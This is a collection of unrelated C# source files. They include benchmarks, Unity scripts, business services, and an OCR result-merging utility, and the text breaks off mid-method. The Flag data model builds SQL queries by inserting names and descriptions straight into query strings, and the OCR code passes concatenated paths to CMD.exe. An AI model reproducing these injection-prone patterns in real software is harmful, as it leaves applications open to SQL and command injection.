using BenchmarkDotNet.Configs;
using JM.LinqFaster.SIMD;
using StructLinq;
using System.Linq;
using System.Threading.Tasks;
namespace NetFabric.Hyperlinq.Benchmarks
{
[GroupBenchmarksBy(BenchmarkLogicalGroupRule.ByCategory)]
[CategoriesColumn]
public class RangeToArrayBenchmarks : CountBenchmarksBase
{
[BenchmarkCategory("Range")]
[Benchmark(Baseline = true)]
public int[] Linq()
=> Enumerable.Range(0, Count).ToArray();
[BenchmarkCategory("Range_Async")]
[Benchmark(Baseline = true)]
public ValueTask<int[]> Linq_Async()
=> AsyncEnumerable.Range(0, Count).ToArrayAsync();
// ---------------------------------------------------------------------
[BenchmarkCategory("Range")]
[Benchmark]
public int[] StructLinq()
=> StructEnumerable.Range(0, Count).ToArray();
// ---------------------------------------------------------------------
[BenchmarkCategory("Range")]
[Benchmark]
public int[] LinqFaster_SIMD()
=> LinqFasterSIMD.RangeS(0, Count);
// ---------------------------------------------------------------------
[BenchmarkCategory("Range")]
[Benchmark]
public int[] Hyperlinq()
=> ValueEnumerable.Range(0, Count).ToArray();
[BenchmarkCategory("Range_Async")]
[Benchmark]
public ValueTask<int[]> Hyperlinq_Async()
=> AsyncValueEnumerable.Range(0, Count).ToArrayAsync();
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EffectObj : MonoBehaviour
{
public int id = 1;
EffectModel effect;
// Use this for initialization
void Start ()
{
effect = InventoryManager.Instance.GetEffectById(id);
Invoke("DestorySelf", effect.LastTime);//自己管理自己的摧毁
}
private void DestorySelf()
{
Destroy(gameObject);
}
}
|
using System.Collections.Generic;
using ATSBackend.Domain.Entities;
using ATSBackend.Domain.Interfaces.Services;
using ATSBackend.Domain.Interfaces.Repositories;
namespace ATSBackend.Domain.Services
{
public class CandidatoService : ServiceBase<Candidato>, ICandidatoService
{
private readonly ICandidatoRepository _candidatoRepository;
public CandidatoService(ICandidatoRepository candidatoRepository) : base(candidatoRepository)
{
_candidatoRepository = candidatoRepository;
}
public void AlterarCandidato(Candidato candidato) =>
_candidatoRepository.AlterarCandidato(candidato);
public void ExcluirCandidato(int idCandidato)
{
var candidatoExclusao = _candidatoRepository.Pesquisar(idCandidato);
candidatoExclusao.Ativo = false;
_candidatoRepository.Alterar(candidatoExclusao);
}
public void ExcluirExperienciaCandidato(int idExperiencia) =>
_candidatoRepository.ExcluirExperienciaCandidato(idExperiencia);
public IEnumerable<Candidato> ListarCandadatosAtivos() =>
_candidatoRepository.ListarCandadatosAtivos();
public IEnumerable<Candidato> ListarCandadatosPorVaga(int idVaga) =>
_candidatoRepository.ListarCandadatosPorVaga(idVaga);
public Candidato ObterCantidado(int idCadidato) =>
_candidatoRepository.ObterCantidado(idCadidato);
}
}
|
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using Random = System.Random;
public class Virus1 : MonoBehaviour
{
private States _states = new States();
public int _damage;
public ScoreData scoreData;
public static Virus1 Instance;
private void Awake()
{
Instance = this;
}
/* void Update ()
{
if (Enemy.IsVirus1Playing)
{
RandomState.StateLimits =3 ;
RandomState.RandomStateMethod();
Debug.Log("Virus is choosing");
switch (RandomState.StateE)
{
case 1:
_states.Attack();
Debug.Log("2-Invisibility");
Enemy.IsVirus1Playing = false;
BattleMachine.IsEnemyChoosing = false;
BattleMachine.OnPlayerTurn = true;
break;
case 2:
_states.Attack();
Debug.Log("2-Attack");
Enemy.IsVirus1Playing = false;
BattleMachine.IsEnemyChoosing = false;
BattleMachine.OnPlayerTurn = true;
break;
case 3:
_states.Scanner();
Debug.Log("2-Scanner");
Enemy.IsVirus1Playing = false;
BattleMachine.IsEnemyChoosing = false;
BattleMachine.OnPlayerTurn = true;
break;
default:
Debug.Log("el enemy no hace nada we");
_states.Iddle();
Enemy.IsVirus1Playing = false;
BattleMachine.IsEnemyChoosing = false;
BattleMachine.OnPlayerTurn = true;
break;
}
}
}
IEnumerator ChoosePlayerToAttack()
{
float timeCounting=5f;
Debug.Log("Choose a virus to attack");
while (timeCounting>0)
{
if (RandomState.StateE%2==0)
{
Debug.Log("Attack to Hacker");
scoreData.hLife = scoreData.hLife - _damage;
}
else
{
Debug.Log("Attack to Electroquinetic");
scoreData.mLife = scoreData.mLife - _damage;
}
timeCounting -= Time.deltaTime;
}
yield return null;
}*/
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace DiagnostivoTecnicoBasico.Model.InformacionComercial
{
public class ICComponent
{
public List<ICComponentDetail> component { get; set; }
}
}
|
namespace MvcExample.Core.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class UserTablosunaForeignkeylereklendi : DbMigration
{
public override void Up()
{
AddColumn("auth.User", "RoleId", c => c.Int(nullable: false));
AddColumn("auth.User", "DepartmentId", c => c.Int(nullable: false));
CreateIndex("auth.User", "RoleId");
CreateIndex("auth.User", "DepartmentId");
AddForeignKey("auth.User", "DepartmentId", "auth.Department", "Id", cascadeDelete: true);
AddForeignKey("auth.User", "RoleId", "auth.Role", "Id", cascadeDelete: true);
}
public override void Down()
{
DropForeignKey("auth.User", "RoleId", "auth.Role");
DropForeignKey("auth.User", "DepartmentId", "auth.Department");
DropIndex("auth.User", new[] { "DepartmentId" });
DropIndex("auth.User", new[] { "RoleId" });
DropColumn("auth.User", "DepartmentId");
DropColumn("auth.User", "RoleId");
}
}
}
|
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="RouteConfig.cs" company="Eyefinity, Inc.">
// 2013 Eyefinity, Inc.
// </copyright>
// <summary>
// Defines the RouteConfig type.
// </summary>
// --------------------------------------------------------------------------------------------------------------------
namespace Eyefinity.PracticeManagement.App_Start
{
using System.Web.Mvc;
using System.Web.Routing;
/// <summary>
/// The route config.
/// </summary>
public static class RouteConfig
{
/// <summary>
/// The register routes.
/// </summary>
/// <param name="routes">
/// The routes.
/// </param>
public static void RegisterRoutes(RouteCollection routes)
{
routes.AppendTrailingSlash = true;
routes.LowercaseUrls = true;
//// IgnoreRoute - Tell the routing system to ignore certain routes for better performance.
//// Ignore .axd files.
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
//// Ignore everything in the Content folder.
routes.IgnoreRoute("Content/{*pathInfo}");
//// Ignore everything in the Scripts folder.
routes.IgnoreRoute("Scripts/{*pathInfo}");
routes.MapRoute(
"Default",
"{controller}/{action}/{id}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] { "Eyefinity.PracticeManagement.Controllers" });
}
}
} |
using System;
using System.Linq;
using System.Collections.Generic;
using QuickCollab.Security;
namespace QuickCollab.Session
{
public class RegistrationService
{
private ISessionInstanceRepository _sessionRepo;
private IConnectionRepository _connRepo;
private PasswordHashService _passwordService;
public RegistrationService()
{
_sessionRepo = new SessionInstanceRepository();
_connRepo = new ConnectionRepository();
_passwordService = new PasswordHashService();
}
public bool RegisterConnection(string clientName, string sessionName)
{
if (string.IsNullOrEmpty(_sessionRepo.GetSession(sessionName).HashedPassword))
return true;
if (!IsUserAuthorized(clientName, sessionName))
return false;
SessionInstance instance = _sessionRepo.GetSession(sessionName);
_connRepo.RegisterConnection(clientName, instance);
return true;
}
public void Authorize(string username, string sessionName, string password)
{
SessionInstance instance = _sessionRepo.GetSession(sessionName);
if (instance == null)
throw new Exception("Session not found!");
if (string.IsNullOrEmpty(instance.HashedPassword))
throw new Exception("Room is not secured!");
System.Diagnostics.Debug.Assert(!string.IsNullOrEmpty(instance.Salt));
if (_passwordService.SaltedPassword(password, instance.Salt) != instance.HashedPassword)
throw new Exception("Incorrect password!");
RegisterConnection(username, sessionName);
}
public IEnumerable<string> CurrentSessions(string clientName)
{
return _connRepo.GetActiveConnectionsByUserName(clientName)
.Select(c => c.SessionName);
}
// Review: Belongs to an entity
public bool IsLoggingEnabled(string sessionName)
{
return _sessionRepo.GetSession(sessionName).PersistHistory;
}
public void StartNewSession(string sessionName, string password, SessionParameters parameters)
{
// Idempotent operation
if (_sessionRepo.SessionExists(sessionName))
return;
SessionInstance instance = new SessionInstance()
{
DateCreated = DateTime.Now,
Name = sessionName,
IsVisible = parameters.IsPublic,
PersistHistory = parameters.Persistent,
ConnectionExpiryInHours = parameters.ConnectionExpiryInHours
};
if (!string.IsNullOrEmpty(password))
{
string salt = _passwordService.GetNewSalt();
string hashedPassword = _passwordService.SaltedPassword(password, salt);
instance.Salt = salt;
instance.HashedPassword = hashedPassword;
}
_sessionRepo.AddSession(instance);
}
// Review: Belongs to an entity
private bool NoPasswordRequired(SessionInstance instance)
{
return string.IsNullOrEmpty(instance.HashedPassword);
}
// Review: Belongs to an entity
public bool IsUserAuthorized(string userName, string sessionName)
{
SessionInstance s = _sessionRepo.GetSession(sessionName);
if (NoPasswordRequired(s))
return true;
return _connRepo.GetActiveConnectionsInSession(sessionName)
.Any(conn => conn.ClientName == userName);
}
}
}
|
namespace PurificationPioneer.Const
{
public partial class SpriteName
{
public static readonly string Avatar0 = @"Avatar0";
public static readonly string Avatar1 = @"Avatar1";
public static readonly string Avatar2 = @"Avatar2";
public static readonly string Avatar3 = @"Avatar3";
public static readonly string Avatar4 = @"Avatar4";
public static readonly string Avatar5 = @"Avatar5";
public static readonly string Avatar6 = @"Avatar6";
public static readonly string Avatar7 = @"Avatar7";
}
}
|
using System;
using System.Diagnostics;
namespace Microsoft.DataStudio.Solutions.Validators
{
public class ThrowIf
{
/// <summary>
/// Throws ArgumentNullException if the argument is null, otherwise passes it through.
/// </summary>
/// <typeparam name="T">The argument type.</typeparam>
/// <param name="arg">The argument to check.</param>
/// <param name="parameterName">The parameter name of the argument.</param>
[DebuggerStepThrough]
public static void Null<T>([ValidatedNotNull]T arg, string parameterName) where T : class
{
if (arg == null)
{
throw new ArgumentNullException(parameterName);
}
}
[DebuggerStepThrough]
public static void NullOrEmpty([ValidatedNotNull]string paramValue, string paramName)
{
ThrowIf.Null(paramValue, paramName);
if (paramValue.Length == 0)
{
throw new ArgumentException("Parameter must have length greater than zero.", paramName ?? "");
}
}
}
/// <summary>
/// Secret attribute that tells the CA1062 validate arguments rule that this method validates the argument is not null.
/// </summary>
/// <remarks>
/// This is an internal-only workaround. Please do not share publicly.
/// </remarks>
[AttributeUsage(AttributeTargets.Parameter)]
internal sealed class ValidatedNotNullAttribute : Attribute
{
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SincolPDV.Repositorio.Implementacao.Base
{
interface IRepository<TEntity> where TEntity : class
{
IQueryable<TEntity> ListarTodos();
IQueryable<TEntity> Listar(Func<TEntity, bool> predicate);
TEntity Buscar(params object[] key);
void Atualizar(TEntity obj);
void SalvarTodos();
void Adicionar(TEntity obj);
void Excluir(Func<TEntity, bool> predicate);
}
}
|
using System;
using System.Data;
using System.Threading.Tasks;
using System.Windows.Media;
using CRVCManager.Utilities;
namespace CRVCManager.DataModels
{
public class Flag : Base
{
private Color _color;
private string _description;
private string _name;
public Guid Id { get; }
public string Name
{
get => _name;
set => UpdateName(value);
}
public string Description
{
get => _description;
set => UpdateDescription(value);
}
public Color Color
{
get => _color;
set => UpdateColor(value);
}
public bool Exists { get; private set; }
public Flag(Guid id)
{
if (id != Guid.Empty)
{
var d = Db.GetData($@"SELECT * FROM flags WHERE flagId='{id.ToString()}' LIMIT 1");
if (d.Rows.Count > 0)
{
Id = id;
_name = d.Rows[0]["flagName"].ToString();
_description = d.Rows[0]["flagDescription"].ToString();
_color = d.Rows[0]["flagColour"].ToString().ConvertStringToColor();
Exists = true;
}
else
{
Logging.Debug($"The flag with ID: {id.ToString()} does not exist in the database");
Exists = false;
}
}
else
{
Logging.Error(new Exception("An empty GUID was passed"));
Exists = false;
}
}
public Flag()
{
// Guid object to hold generated guid
var newFlagId = Guid.NewGuid();
// While there are rows with a matching GUID
while (Db.GetData($@"SELECT * FROM flags WHERE flagId='{newFlagId.ToString()}'").Rows.Count != 0)
{
// Write action to debug log
Logging.Debug($"Creating new guid for new flag as {newFlagId.ToString()} already exists", true, false);
// Generate a new GUID
newFlagId = Guid.NewGuid();
}
if (Db.ExecuteQuery($@"INSERT INTO flags (flagId) VALUES ('{newFlagId.ToString()}')"))
{
Id = newFlagId;
Exists = true;
}
else
{
Exists = false;
}
}
/// <summary>
/// Gets all flags from the database
/// </summary>
/// <returns></returns>
public static async Task<DataTable> GetAllFlags()
{
return await Db.GetDataAsync("SELECT * FROM flags");
}
/// <summary>
/// Gets a formatted view of all flags from the database
/// </summary>
/// <returns></returns>
public static async Task<DataTable> GetAllFlagsFormattedAsync()
{
return await Db.GetDataAsync("SELECT * FROM vw_flagsformatted");
}
public void Delete()
{
if (Exists)
{
if (Db.ExecuteQuery($@"DELETE FROM flags WHERE flagId='{Id.ToString()}'"))
{
Exists = false;
}
}
}
private void UpdateName(string name)
{
if (Name == name || !Exists)
{
return;
}
if (Db.ExecuteQuery($@"UPDATE flags SET flagName='{name}' WHERE flagId='{Id.ToString()}'"))
{
_name = name;
}
}
private void UpdateDescription(string description)
{
if (Description == description || !Exists)
{
return;
}
if (Db.ExecuteQuery($@"UPDATE flags SET flagDescription='{description}' WHERE flagId='{Id.ToString()}'"))
{
_description = description;
}
}
private void UpdateColor(Color color)
{
if (Color == color || !Exists)
{
return;
}
if (Db.ExecuteQuery($@"UPDATE flags SET flagColour='{$"{color.ConvertColorToString()}"}' WHERE flagId='{Id.ToString()}'"))
{
_color = color;
}
}
}
} |
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Diagnostics;
using Excel = Microsoft.Office.Interop.Excel;
using System.Collections;
namespace LibOcr
{
public class OCR
{
#region Class Property
private string VisionDefaultPath = "";
private string ResultDefault = "";
private string Site = "";
private string ImageServer = "";
private string SdiServer = "";
private string ResultFileName = "";
private string lotId;
private string SublotId;
private DateTime DT;
private string fileNameWithoutExtension;
private string ResultZipFileName;
private string ResultZipPath;
private bool debug = false;
public string SetVisionDefaultPath
{
set { VisionDefaultPath = value; }
}
public string SetResultDefault
{
set { ResultDefault = value; }
}
public string SetSite
{
set { Site = value; }
}
public string SetImageServer
{
set { ImageServer = value; }
}
public string SetSdiServer
{
set { SdiServer = value; }
}
public string SetResultFile
{
set { ResultFileName = value; }
}
public string SetLotID
{
set { lotId = value; }
}
public string SetSublotId
{
set { SublotId = value; }
}
public DateTime SetDateTime
{
set { DT = value; }
}
public bool SetDebugMode
{
set { debug = value; }
}
#endregion
public void Merge()
{
string OCR_enable = "false",
TempLocation = @"C:\Avago.ATF.Common\OCR\",
VisionFileName = "",
//
ResultPath = "";
if (OCR_enable.ToUpper() == "TRUE")
{
switch (MessageBox.Show("Do you want to merge OCR automatically?", "Penang NPI", MessageBoxButtons.YesNo, MessageBoxIcon.Question))
{
case DialogResult.Cancel:
break;
case DialogResult.Yes:
//Read Local setting file:
//VisionDefaultPath = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "VisionDefaultPath");
//ResultDefault = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "ResultDefaultPath");
//Site = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "Site");
//ImageServer = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "ImagePath");
//SdiServer = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "SdiserverPath");
//try //CY, allow user to turn on/off the debug mode
//{
// debug = Drivers.IO_TextFile.ReadTextFile(LocalSettingFile, "OCR", "debug");
//}
//catch
//{
// debug = "false";
//}
//Generate file name
//ResultFileName = ATFCrossDomainWrapper.GetStringFromCache(PublishTags.PUBTAG_CUR_RESULT_FILE, "");
//Full result path:
ResultPath = ResultDefault + ResultFileName;
//Vision file name:
VisionFileName = lotId + "_" + SublotId + "_" + DT.ToString("yyyy-MM-dd") + "_" + Site + ".txt";
//Create Temporary OCR folder if not exist
if (!Directory.Exists(TempLocation))
{
Directory.CreateDirectory(TempLocation);
}
//Copy result to temp location due to Excel locked by Clotho
File.Copy(ResultPath, TempLocation + ResultFileName);
//CY- Rename the vision generated text file
System.IO.File.Move(VisionDefaultPath + "___1.txt", VisionDefaultPath + VisionFileName);
Thread.Sleep(1000);
//Start merge
if (ResultFileName != "")
{
if (debug)
{
MessageBox.Show("Start Merging\r\n" + "VisionDefaultPath: " + VisionDefaultPath + "\r\nVisionFileName: " + VisionFileName + "\r\nTempLocation: " + TempLocation + "\r\nResultFileName: " + ResultFileName);
}
MergeOCRWithFullResults(VisionDefaultPath + VisionFileName, TempLocation + ResultFileName);
if (debug)
{
MessageBox.Show("End Merging");
}
string imageName = lotId + "_" + SublotId + "_" + DT.ToString("yyyy-MM-dd") + "_" + Site;
//Move and delete
try
{
//Commented this 2 line because clotho 2.1.x will reports the result.csv example with IP192.10.10.10 instead IP192101010 - Shaz 22/03/2013
//string[] atemp = ResultFileName.Split('.');
//string NewResult = atemp[0] + "_WithOCR.CSV";
//CY_ - CLotho 2.2.6 not allow program to modify the filename. Hence, obsolete below 5 lines code.
//string tempchar = ResultFileName.Remove(ResultFileName.Length - 4, 4);
//string NewResult = tempchar + "_WithOCR.CSV";
//File.Move(TempLocation + NewResult, ResultDefault + NewResult);
//File.Delete(TempLocation + NewResult);
//File.Delete(TempLocation + ResultFileName);
}
catch { }
try
{
//Compressed and send to server
//CY- change the Image temporary store location from @"C:\Image\" to @"C:\Avago.ATF.Common\OCR\Image".
//This is because Inari production pc not allow create folder in C:\ drive.
string imageCompressedPath = TempLocation + @"Image\"; //CY
if (SublotId != "" && lotId != "")
{
if (!Directory.Exists(imageCompressedPath))
{
Directory.CreateDirectory(imageCompressedPath);
}
else
{
Directory.Delete(imageCompressedPath, true);
Directory.CreateDirectory(imageCompressedPath);
}
if (Directory.Exists(ImageServer))
{
string[] files = Directory.GetFiles(ImageServer);
foreach (string file in files)
{
string fileName = Path.GetFileName(file);
string destFile = Path.Combine(imageCompressedPath, fileName);
//File.Copy(file, destFile, true); //CY Inari request do not keep the image at the vision pc, so intead copy, i move it.
File.Move(file, destFile);
}
}
else
{
//CY
MessageBox.Show("OCR Image path not exist!\r\n" + ImageServer);
}
CompressSDIFileInDirectory(TempLocation, "Image");
if (debug)
{
MessageBox.Show("Compressed Image folder stored at :" + TempLocation + "Image.tar.bz2");
}
//CY - create the folder for store the image zip folder
if (!Directory.Exists(SdiServer + @"Image\"))
{
Directory.CreateDirectory(SdiServer + @"Image\");
}
CopyFile(TempLocation + "Image.tar.bz2", SdiServer + @"Image\" + imageName + ".tar.bz2");
File.Delete(TempLocation + "Image.tar.bz2");
Directory.Delete(imageCompressedPath, true);
}
}
catch (Exception ex)
{
MessageBox.Show("Compress file error!\r\n" + ex.Message);
}
//CY- create a thread to wait until the CLotho generated the result zip file, then further process it.
//Copy result file
fileNameWithoutExtension = ResultFileName.Remove(ResultFileName.Length - 4, 4);
ResultZipFileName = fileNameWithoutExtension + ".zip";
//Full result backup path:
ResultZipPath = @"C:\Avago.ATF.Common\Results.Backup\" + ResultZipFileName;
if (debug)
{
MessageBox.Show("ResultZipPath (Result.BackUp): " + ResultZipPath);
}
Thread WaitReplaceUpload = new Thread(ProcessingFile);
WaitReplaceUpload.Start();
}
break;
case DialogResult.No:
break;
default:
break;
}
}
}
private void ProcessingFile()
{
string localOCRPath = @"C:\Avago.ATF.Common\OCR\";
do
{
Thread.Sleep(2000);
} while (!File.Exists(ResultZipPath));
Thread.Sleep(1000);
if (!Directory.Exists(localOCRPath + fileNameWithoutExtension))
{
Directory.CreateDirectory(localOCRPath + fileNameWithoutExtension);
}
//Move the original result zip file from @"C:\Avago.ATF.Common\Result.BackUp\ to @"C:\Avago.ATF.Common\OCR\:
File.Move(ResultZipPath, localOCRPath + fileNameWithoutExtension + @"\" + ResultZipFileName);
if (debug)
{
MessageBox.Show("Before Unzip Ori Clotho Result File at " + localOCRPath + "fileName");
}
using (Ionic.Zip.ZipFile zip1 = Ionic.Zip.ZipFile.Read(localOCRPath + fileNameWithoutExtension + @"\" + ResultZipFileName))
{
zip1.ExtractAll(localOCRPath + fileNameWithoutExtension + @"\",
Ionic.Zip.ExtractExistingFileAction.DoNotOverwrite);
}
string[] resultFiles = Directory.GetFiles(localOCRPath + fileNameWithoutExtension);
if (debug)
{
foreach (string file in resultFiles)
{
MessageBox.Show("File length: " + resultFiles.Length.ToString() + "\r\n" + file);
}
}
if (resultFiles.Length >= 3)
{
File.Delete(localOCRPath + fileNameWithoutExtension + @"\" + ResultZipFileName); //delete original result zip file
if (debug)
{
MessageBox.Show("Original Zip file deleted.");
}
File.Copy(localOCRPath + ResultFileName, localOCRPath + fileNameWithoutExtension + @"\" + ResultFileName, true); //copy OCR result file and ovewrite
File.Delete(localOCRPath + ResultFileName);
Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile();
foreach (string file in resultFiles)
{
string fileName = Path.GetFileName(file);
if (!(fileName.Contains(".exe") || fileName.Contains(".zip")))
{
if (debug)
{
MessageBox.Show("File to be zipped: " + fileName + "\r\n At: " + localOCRPath + fileNameWithoutExtension + @"\");
}
zip.AddFile(file, "");
}
}
zip.Save(localOCRPath + fileNameWithoutExtension + @"\" + fileNameWithoutExtension + ".zip");
if (debug)
{
MessageBox.Show("OCR result file successfully zipped at " + localOCRPath + fileNameWithoutExtension + @"\" + fileNameWithoutExtension + ".zip");
}
}
else
{
MessageBox.Show("Unzip Clotho result file contain less that 3 files could be missing result.csv, summary.txt or OriClothoResult.zip file.");
}
//Move back Result zip file(contain OCR data) back to the Result.BackUp folder
System.IO.File.Move(localOCRPath + fileNameWithoutExtension + @"\" + fileNameWithoutExtension + ".zip", ResultZipPath);
if (debug)
{
MessageBox.Show("OCR zipped file successfully moved to C:\\Avago.ATF.Common\\Results.Backup!");
}
MessageBox.Show("OCR Process Completed!!");
}
private void CompressSDIFileInDirectory(string defaultPath, string folderName)
{
RunCMD("/C cd " + defaultPath + " && tar -cvf " + folderName + ".tar " + folderName);
RunCMD("/C cd " + defaultPath + " && bzip2 " + folderName + ".tar");
}
private void RunCMD(string command)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.FileName = "CMD.exe";
startInfo.Arguments = command;
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
}
private void CopyFile(string source, string target)
{
File.Copy(source, target);
}
private void MergeOCRWithFullResults(string OCRFileLocation, string ResultFileLocation)
{
//Fields
FileStream _file = new FileStream();
ExcelApplication _excel = new ExcelApplication();
string[] aOCR_Date;
string[] aOCR_Time;
List<string> lOCR_Date = new List<string>();
List<string> lOCR_Time = new List<string>();
List<string> lOCR_Serial = new List<string>();
List<string> lOCR_CSV = new List<string>();
List<string[]> lOCRNew = new List<string[]>();
List<string[]> lDatum = new List<string[]>();
//added by AunThiam 28-Nov 2012
//ClothoLibStandard.IO_TextFile IO_TXT=new IO_TextFile();
//IO_TextFile IO_TXT = new IO_TextFile();
//OcrMethod OCR = new OcrMethod();
int
iUnitCount = 0,
iFileNameCount = 0,
iFileNameLoop = 0,
iResultData = 0,
iOCRData = 0,
iOCRColumn = 0,
iParam = 0,
iParamData = 1,
iLimits = 0,
iPID = 0,
iDatum = 0,
iDatumCount = 0,
iOCRRow = 0,
iOCRReject = 0,
iExcelColumn = 0,
iExcelRowTotal = 0,
iExcelRowDatum = 0;
string
sMisc = "",
sParam = "",
sOutputFileLocation = "",
sCurrentLocation = "",
sFileName = "",
sCaptureResult = "PID",
sResultFileName = "",
ImageServer = "";
string[]
aOutputFileLocation = null,
aFileName = null,
aParam = null,
aDatum = null,
aDatumCondition = null;
//CY -Try1
try
{
//Create new file name
aOutputFileLocation = ResultFileLocation.Split('\\');
iFileNameCount = aOutputFileLocation.Count();
//Commented this 2 line because clotho 2.1.x will reports the result.csv filename including IP address example with IP192.10.10.10 instead IP192101010 - Shaz 22/03/2013
//aFileName = aOutputFileLocation[iFileNameCount - 1].Split('.');
//sFileName = aFileName[0] + "_WithOCR.CSV";
//CY - comment two line because clotho do not zip the file
sResultFileName = aOutputFileLocation[iFileNameCount - 1].Remove(aOutputFileLocation[iFileNameCount - 1].Length - 4, 4);
//sFileName = sResultFileName + "_WithOCR.CSV";
sFileName = sResultFileName + ".csv";
//Temporary location for file operation
sCurrentLocation = "C:\\temp\\" + sFileName;
while (iFileNameLoop != iFileNameCount - 1)
{
sOutputFileLocation += aOutputFileLocation[iFileNameLoop] + "\\";
iFileNameLoop++;
}
sOutputFileLocation += sFileName;
//Find Result's parameter and PID's row number
iParam = _file.ReadTextLineNumberWithWord(ResultFileLocation, "Parameter");
iPID = _file.ReadTextLineNumberWithWord(ResultFileLocation, "PID");
//Find OCR row number
iOCRRow = _file.CheckTextFileLineNumber(OCRFileLocation);
lOCR_CSV = _file.ReadTextContentByLine_List(OCRFileLocation, iOCRRow);
}
catch (Exception ex)
{
MessageBox.Show("CY Try1\r\n" + ex.Message);
}
//CY try2
try
{
//Serialize OCR data, removes '/' and spaces for SDI
while (iOCRData != iOCRRow)
{
lOCRNew.Add(lOCR_CSV[iOCRData].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries));
aOCR_Date = lOCRNew[iOCRData][0].Split('.');
aOCR_Time = lOCRNew[iOCRData][2].Split(':');
//Join string[]
lOCR_Date.Add(aOCR_Date[0] + aOCR_Date[1] + aOCR_Date[2]);
lOCR_Time.Add(aOCR_Time[0] + aOCR_Time[1] + aOCR_Time[2]);
if (lOCRNew[iOCRData][4].ToUpper().Contains("F"))
{
//For Post OCR
//lOCR_Serial.Add("NA");
//For Pre OCR
//Check for rejects
iOCRReject++;
}
else
{
////Remove "f" from 00000f
//if (lOCRNew[iOCRData][4].ToUpper().Contains("F"))
//{
// lOCRNew[iOCRData][4] = lOCRNew[iOCRData][4].Remove(5, 1);
// lOCR_Serial.Add(lOCRNew[iOCRData][4]);
//}
//else
//{
lOCR_Serial.Add(lOCRNew[iOCRData][4]);
//}
}
iOCRData++;
}
}
catch (Exception ex)
{
MessageBox.Show("CY Try2\r\n" + ex.Message);
}
//CY try3
try
{
//Split Parameter's csv into arrays
sParam = _file.ReadTextFileLine(ResultFileLocation, iParam);
//Check if CSV corrupted
if (sParam.Contains(","))
{
//Parameter split
aParam = sParam.Split(',');
//Count column number from array
iExcelColumn = aParam.Count();
iExcelRowTotal = _file.CheckTextFileLineNumber(ResultFileLocation);
iExcelRowDatum = iExcelRowTotal - iParam;
//Redim arrays
aDatum = new string[iExcelRowDatum];
aDatumCondition = new string[iExcelRowDatum];
////Check for option, capture all or PASS only
//if (CaptureAll)
//{
// sCaptureResult = "PID";
//}
//else
//{
// sCaptureResult = "PASS_ALL+";
//}
//If OCR row == Result then proceed
if ((iExcelRowTotal - iPID + 1) == (iOCRRow - iOCRReject))
{
//Populate data with OCR, append OCR to result data
while (iResultData != iExcelRowDatum)
{
aDatum[iResultData] = _file.ReadTextFileLine(ResultFileLocation, iPID + iResultData);
if (aDatum[iResultData] != null && aDatum[iResultData].Contains(sCaptureResult) && aDatum[iResultData].Contains(",") && iUnitCount != iOCRRow)
{
lDatum.Add(aDatum[iUnitCount].Split(','));
iDatumCount = lDatum[iUnitCount].Count();
//Join string for SDI
aDatumCondition[iUnitCount] = string.Join(",", lDatum[iUnitCount], 0, iDatumCount - 5);
aDatumCondition[iUnitCount] += "," + lOCR_Date[iUnitCount] + "," + lOCR_Time[iUnitCount] + "," + lOCR_Serial[iUnitCount] + ",";
aDatumCondition[iUnitCount] += string.Join(",", lDatum[iUnitCount], iDatumCount - 5, 5);
iUnitCount++;
}
iResultData++;
}
//Delete if file exist
//if (File.Exists(sOutputFileLocation)) //CY comment
//{
// File.Delete(sOutputFileLocation);
//}
sParam = "";
//Print Misc before Parameter
while (iParamData != iParam)
{
sMisc = _file.ReadTextFileLine(ResultFileLocation, iParamData);
_file.WriteLineToTextFile(sCurrentLocation, sMisc);
iParamData++;
}
//Print Parameter + OCR column
while (iOCRColumn != iExcelColumn - 5) //-5 if inserted between PassFail
{
sParam += aParam[iOCRColumn] + ",";
iOCRColumn++;
}
sParam = sParam + "OcrDate,OcrTime,OcrSerial,";
while (iOCRColumn != iExcelColumn - 1)
{
sParam += aParam[iOCRColumn] + ",";
iOCRColumn++;
}
sParam = sParam + "SWBinName";
_file.WriteLineToTextFile(sCurrentLocation, sParam);
iLimits = iParam + 1;
//CY
//MessageBox.Show("sCurrentLocation: " + sCurrentLocation + "\r\nsOutputFileLocation: " + sOutputFileLocation);
//Print limits
while (iLimits != iPID)
{
sMisc = _file.ReadTextFileLine(ResultFileLocation, iLimits);
_file.WriteLineToTextFile(sCurrentLocation, sMisc);
iLimits++;
}
//Print Datum
while (iDatum != iUnitCount)
{
_file.WriteLineToTextFile(sCurrentLocation, aDatumCondition[iDatum]);
iDatum++;
}
//Copy file to result directory
//_file.CopyFile(sCurrentLocation, sOutputFileLocation); //CY comment, replace with copy with overwrite
File.Copy(sCurrentLocation, sOutputFileLocation, true);
try
{
_file.DeleteFile(sCurrentLocation);
}
catch
{
}
MessageBox.Show("OCR merging successful! Please check output file for details.", "Operation completed!", MessageBoxButtons.OK, MessageBoxIcon.Information);
if (!Directory.Exists(@"C:\Avago.ATF.Common\OCR\Image\"))
{
Directory.CreateDirectory(@"C:\Avago.ATF.Common\OCR\Image\");
}
else
{
Directory.Delete(@"C:\Avago.ATF.Common\OCR\Image\", true);
Directory.CreateDirectory(@"C:\Avago.ATF.Common\OCR\Image\");
}
}
else
{
if (((iExcelRowTotal - iPID + 1) - (iOCRRow - iOCRReject)) > 1)
{
